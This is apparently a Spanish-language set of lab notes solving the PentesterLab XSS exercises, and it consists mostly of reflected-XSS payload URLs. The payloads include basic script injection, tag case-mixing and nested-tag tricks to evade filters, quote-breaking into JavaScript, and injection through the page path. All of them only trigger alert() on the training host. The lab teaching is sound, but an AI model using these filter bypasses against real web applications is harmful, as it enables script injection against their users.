XSS - Vulnerabilidades Cross-Site Scripting
XSS - Vulnerabilidades Cross-Site Scripting
1. Tenemos el enlace:
http://pentesterlab/xss/example1.php?name=hacker
<script>alert('Hackplayers')</script>
Quedaría: http://pentesterlab/xss/example1.php?name=hacker<script>alert('Hackplayers')</
script>
Si inyectamos el payload anterior veremos que ‘<script>’ y ‘</script>’ son filtrados, pero basta
poner una letra de cada tag en mayúsculas para evadir este débil filtro:
http://pentesterlab/xss/example2.php?name=hacker<SCript>alert('Hackeado')</SCript>
con lo cual salta un mensaje emergente con el contenido seguido de alert('xxxxxxxx')
3. Si se eliminan las tags que contienen ‘script’ podemos aprovechar esto para que el
filtro nos haga el trabajo:
http://pentesterlab/xss/example3.php?name=hacker<scri<script>pt>alert('xss')</scri</script>pt>
con lo cual salta un mensaje emergente con el contenido seguido de alert('xxxxxxxx')
6. Para este caso ya tiene filtrado los términos script y alert, pero da resultado mediante
lo siguiente:
http://pentesterlab/xss/example6.php?name=hacker";alert('xss');"
7. vemos que se están codificando los caracteres especiales y no podemos usar la comilla
doble ("). Probablemente es porque se están empezando a utilizar funciones
destinadas a la protección contra XSS.
http://pentesterlab/xss/example7.php?name=hacker';alert('xss');'
Sin importar lo que anotemos en el textbox aparecerá arriba del mismo, por lo que inyectamos
en la url del modo siguiente:
http://pentesterlab/xss/example8.php/"><script>alert('xss')</script>